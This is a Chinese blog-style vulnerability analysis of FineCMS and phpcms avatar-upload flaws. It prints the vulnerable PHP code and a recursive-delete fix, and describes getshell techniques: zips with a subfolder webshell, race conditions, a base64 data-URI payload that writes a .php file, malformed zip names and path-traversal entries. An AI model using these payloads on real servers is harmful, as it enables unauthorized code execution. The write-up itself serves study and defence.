finecms的四次upload

finecms是一个前期大量借鉴了phpcms的一个cms,所以phpcms曾经很火的头像上传漏洞也可以在finecms中复现

头像上传直接getshell

简单来说phpcms对头像上传是这么处理:上传上去的zip文件,它先解压好,然后删除非图片文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
// 获取上传文件信息(假设前端表单字段为file)
$file = $_FILES['file'];

// 校验文件是否为空
if (!$file) {
exit("请勿上传空文件");
}

$name = $file['name']; // 文件名
$dir = 'upload/'; // 基础上传目录
// 获取文件后缀(转为小写)
$ext = strtolower(substr(strrchr($name, '.'), 1));

//phpcms官方速度回应 添加递归删除
//递归删除 zip 1 web.php web.zip 1.jpg test/1.php
function check_dir($dir)
{
$handle = opendir($dir);
while (($f = readdir($handle)) !== false) {
// 跳过.和..目录
if (!in_array($f, array('.', '..'))) {
// 获取文件后缀
$ext = strtolower(substr(strrchr($f, '.'), 1));
// 若后缀不在允许的图片列表中,则删除文件
if (!in_array($ext, array('jpg', 'gif', 'png'))) {
unlink($dir . $f);
}
}
}
}

// 若基础上传目录不存在则创建
if (!is_dir($dir)) {
mkdir($dir);
}

// 定义会员临时目录(member/1/)
$temp_dir = $dir . 'member/1/';
// 若临时目录不存在则创建(权限0777)
if (!is_dir($temp_dir)) {
mkdir($temp_dir, 0777);
}

// 允许上传正常的图片和压缩包 竞争的问题 zip已经上传成功,然后才会检测后缀是否在白名单
// 由于没有递归删除,导致文件夹无法被删除
//
// 校验文件后缀是否在白名单内
if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {
if ($ext == 'zip') {
// 处理ZIP压缩包:初始化解压类
$archive = new PclZip($file['tmp_name']);
// 解压到临时目录(覆盖更新文件)
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit("解压失败");
}
// 解压后清理非图片文件
check_dir($temp_dir);
exit('上传成功');
} else {
// 处理图片文件:直接移动到临时目录
move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
exit('上传成功');
}
} else {
// 不允许的文件类型
exit('仅允许上传zip、jpg、gif、png文件!');
}

代码漏洞分析

  1. check_dir函数非真正 “递归删除”,子目录恶意文件可绕过
    问题:check_dir仅遍历一级目录的文件,若 ZIP 包中包含test/1.php(子目录 + 恶意脚本),代码不会进入test目录检测,导致1.php残留。
    风险:攻击者可上传含子目录的 ZIP 包,留存 webshell 等恶意文件,直接控制服务器。
  2. 先解压后清理,存在 “竞争条件” 漏洞
    问题:ZIP 包先完整解压(包括恶意文件),再执行check_dir清理。解压到清理的间隙,恶意文件短暂存在于服务器中。
    风险:攻击者可通过脚本高频访问目标路径,在清理前成功执行恶意文件(如1.php),触发漏洞。
  3. 仅校验文件后缀,未验证文件内容(“伪图片” 可绕过)
    问题:仅通过$ext判断文件类型(如jpg),但未校验文件实际内容。例如,将webshell.php改名为shell.jpg,会被当作图片放行。
    风险:攻击者可上传 “改后缀的恶意脚本”,若后续被调用(如作为头像访问),可能被服务器解析执行(取决于服务器配置)。
  4. 文件路径拼接无过滤,可能存在路径遍历风险
    问题:直接使用$file[‘name’]拼接路径(如$temp_dir . ‘/‘ . $file[‘name’]),若文件名含../等特殊字符,可能跳出目标目录。
    风险:例如,文件名设为../shell.php,可能将文件写入服务器其他敏感目录(如网站根目录)。

由于该代码只实现了压缩包解压后对非图像文件的删除,忽略了压缩包中可能存在目录这种情况,导致我们直接构建一个这样的压缩包即可直接getshell

1
2
3
4
5
压缩包
|_ _ 文件夹
| |_ _ payload.php
|
|_ _ 正常的(.png/.jpg/.gif)图片

要修复这个漏洞,我们要在check_dir 中做递归判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 递归清理所有目录(包括子目录)中的非图片文件
function check_dir($dir)
{
$handle = opendir($dir);
while (($f = readdir($handle)) !== false) {
if (!in_array($f, array('.', '..'))) {
$full_path = $dir . '/' . $f; // 拼接完整路径(加"/"避免路径错误)

// 若当前是目录,则递归处理子目录
if (is_dir($full_path)) {
check_dir($full_path); // 递归进入子目录
} else {
// 若当前是文件,校验后缀
$ext = strtolower(substr(strrchr($f, '.'), 1));
if (!in_array($ext, array('jpg', 'gif', 'png'))) {
unlink($full_path); // 删除非图片文件
}
}
}
}
closedir($handle); // 关闭目录句柄
}

但是,我们的构造压缩包的方法真的被防御住了吗,实际上没有,代码逻辑是先上传,后check,那么我们就可以利用这之间的空隙,做文件竞争,依然可以getshell

之后呢,我们来分析 finecms 的代码

finecms:(\w) 导致getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public function upload() {

// 创建图片存储文件夹
$dir = dr_upload_temp_path().'member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);

if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
//补丁
// if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
// exit(dr_json(0, '目录权限不足'));
// }
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足'));
} else {
list($width, $height, $type, $attr) = getimagesize($new_file);
if (!$type) {
@unlink($new_file);
exit(function_exists('iconv') ? iconv('UTF-8', 'GBK', '图片字符串不规范') : 'error3');
}
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
//漏洞点
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
break;
}
}

// ok
$my = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($my);
!is_dir($my) && dr_mkdirs($my);

$c = 0;
if ($fp = @opendir($dir)) {
while (FALSE !== ($file = readdir($fp))) {
$ext = substr(strrchr($file, '.'), 1);
if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
if (copy($dir.$file, $my.$file)) {
$c++;
}
}
}
closedir($fp);
}
if (!$c) {
exit(dr_json(0, fc_lang('未找到目录中的图片')));
}
}
} else {
exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片不存在'));
}

这个漏洞的核心代码在

1
2
3
4
5
6
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
......


$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];

在这个代码中,先用(\w+)来匹配 图片的类型,保存为 result[2],之后将 result[2] 拼接为后缀,而 \w 是匹配任意字符,而非特定的图片后缀,那我们可以想办法让 \w 的匹配为 php,来直接getshell

我们截取一个正常图片的传输内容

1
tx=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAQgAAABdCAYAAABZwvgPAAAQAElEQVR4Aey993MdR7Ym.......

马上就可以写出我们的payload

1
tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+

那继续我们的上传图片漏洞

finemcs补丁绕过

finecms意识到自己的问题,偷偷修补了这个安全问题。当时的他们是这样修复的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
// 创建图片存储的临时文件夹

$temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';

if (!file_exists($temp)) {

mkdir($temp, 0777);

}

$filename = $temp.'avatar.zip'; // 存储flashpost图片

file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

// 解压缩文件

$this->load->library('Pclzip');

$this->pclzip->PclFile($filename);

if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {

exit($this->pclzip->zip(true));

}

@unlink($filename);

这就是将压缩包放在一个随机命名的文件夹中再解压缩,这样你猜不到访问地址去getshell了。

我认为,直接保存在tmp目录下就可以避免这个问题

这个代码的逻辑是,在临时目录中解压,递归删除非图片文件,在网上可以找到两种思路

构造错误压缩包

既然代码是先解压,后删除,并且解压失败会直接退出函数,那么我们构造一个压缩包,可以解压出我们的恶意文件,但在解压正常文件的时候,出现报错,导致代码终止,使得恶意文件得以保存,但这个方法仍然需要你去猜目录名

那么我们又如何让ZipArchive出错呢?最简单的方法,我们可以在文件名上下功夫。

比如,Windows下不允许文件名中包含冒号(:),

我们就可以在010editor中将2.txt的deFileName属性的值改成“2.tx:”。

4

此时解压就会出错,但1.php被保留了下来。

5

在Linux下也有类似的方法,我们可以将文件名改成5个斜杠(/////)。

此时Linux下解压也会出错,但1.php被保留了下来

6

7

构造目录穿越文件名

示例代码

1
2
3
4
5
6
7
8
$zip = new ZipArchive();
if ($zip->open($_FILES['file']['tmp_name']) === true) {
// 直接解压到目标目录,无任何路径过滤
$zip->extractTo($temp_dir);
$zip->close();
// 后续清理非图片文件
check_dir($temp_dir);
}

构造包含 ../../webshell.php../config.php 甚至 ../../../../var/www/html/shell.php 的 ZIP 包,ZipArchive::extractTo()严格按照 ZIP 内的文件路径写入服务器

  • 服务器解析 $temp_dir . '/../../webshell.php' 后,文件会跳出 upload/member/1/ 目录,写入 upload/webshell.php
  • 若 ZIP 内是 ../admin/../../shell.php,会直接写入网站根目录,恶意文件一旦落地即可被执行。

ZipArchive 额外风险点

  • 支持「符号链接(软链接)」:攻击者可在 ZIP 包内放入指向 /etc/passwd/var/www/config.php 的软链接,解压后能读取 / 篡改服务器敏感文件;
  • 无内置路径过滤:extractTo() 仅简单拼接路径,不会自动剔除 ../..\ 等遍历符,完全依赖开发者手动防护。